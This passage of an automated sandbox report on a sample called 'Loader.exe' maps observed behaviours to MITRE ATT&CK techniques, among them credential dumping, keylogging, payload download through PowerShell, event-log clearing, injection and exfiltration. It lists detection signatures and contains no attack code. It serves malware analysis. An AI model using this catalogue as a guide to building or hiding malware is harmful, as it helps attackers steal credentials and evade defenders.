mutants"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Credential Access","technique":"Steal or Forge Authentication Certificates","attack_id":"T1649","attack_id_wiki":"https://attack.mitre.org/techniques/T1649","identifiers":[{"type":"informative","value":"Contains reference to authentication certificates (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve local computer information (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"suspicious","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Able to retrieve default system language settings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve security-related event logs (PowerShell command string)"},{"type":"informative","value":"Able to retrieve event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to test network connectivity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"},{"type":"informative","value":"Contains reference to WinRM activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move items (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"suspicious","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"malicious","value":"Downloads file using Powershell DownloadFile"},{"type":"suspicious","value":"Drops script files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a webserver"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"suspicious","value":"Contains ability to open a port and listen for incoming connection"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot OS (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to interact with Microsoft Outlook"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"MSBuild","attack_id":"T1127.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1127/001","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Able to delete items (Powershell command string)","description":"Found string \"Remove-Item\" (Indicator: \"Remove-Item\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Remove-Item\" (Indicator: \"Remove-Item\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Able to remove event log (PowerShell command string)","description":"Found string \"Remove-EventLog\" (Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.001","relevance":1,"id":"string-687","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"Loader.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006460)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"Loader.exe\" called \"LoadResource with parameter {'hModule': '49414145', 'hResInfo': '49422560'}\" (UID: 00000000-00006460)\n \"Loader.exe\" called \"LoadResource with parameter {'hModule': '49414145', 'hResInfo': '49422592'}\" (UID: 00000000-00006460)\n \"Loader.exe\" called \"LoadResource with parameter {'hModule': '49414145', 'hResInfo': '49422608'}\" (UID: 00000000-00006460)\n \"Loader.exe\" called \"LoadResource with parameter {'hModule': '49414145', 'hResInfo': '49422576'}\" (UID: 00000000-00006460)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear content (Powershell command string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Wait-Debugger\" (Indicator: \"Wait-Debugger\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Wait-Event\" (Indicator: \"Wait-Event\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Wait-Process\" (Indicator: \"Wait-Process\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delete all entries from an event log (API string)","description":"Found reference to API \"Microsoft.PowerShell.Commands.ClearEventLogCommand\" (Indicator: \"ClearEventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.001","relevance":1,"id":"string-211","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.MarshalAsAttribute\" and TypeReference \".ctor\" in \"Loader.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"SizeOf\" in \"Loader.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"PtrToStringUni\" in \"Loader.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load manifest resource from assembly (Dotnet)","description":"Observed namespace \"System.Reflection.Assembly\" and TypeReference \"GetManifestResourceStream\" in \"Loader.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-173","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load module (Dotnet string)","description":"Observed string: \"\\\\.\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader\" (Indicator: \"AppDomain.Load\") in Source: 00000000-00006460-00000C56-1740224041\n Observed string: \"PSHost.133886334866384066.6460.DefaultAppDomain.Loader\" (Indicator: \"AppDomain.Load\") in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp\n Observed string: \"\\\\.\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader\" (Indicator: \"AppDomain.Load\") in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp\n Observed string: \"??\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader\" (Indicator: \"AppDomain.Load\") in Source: 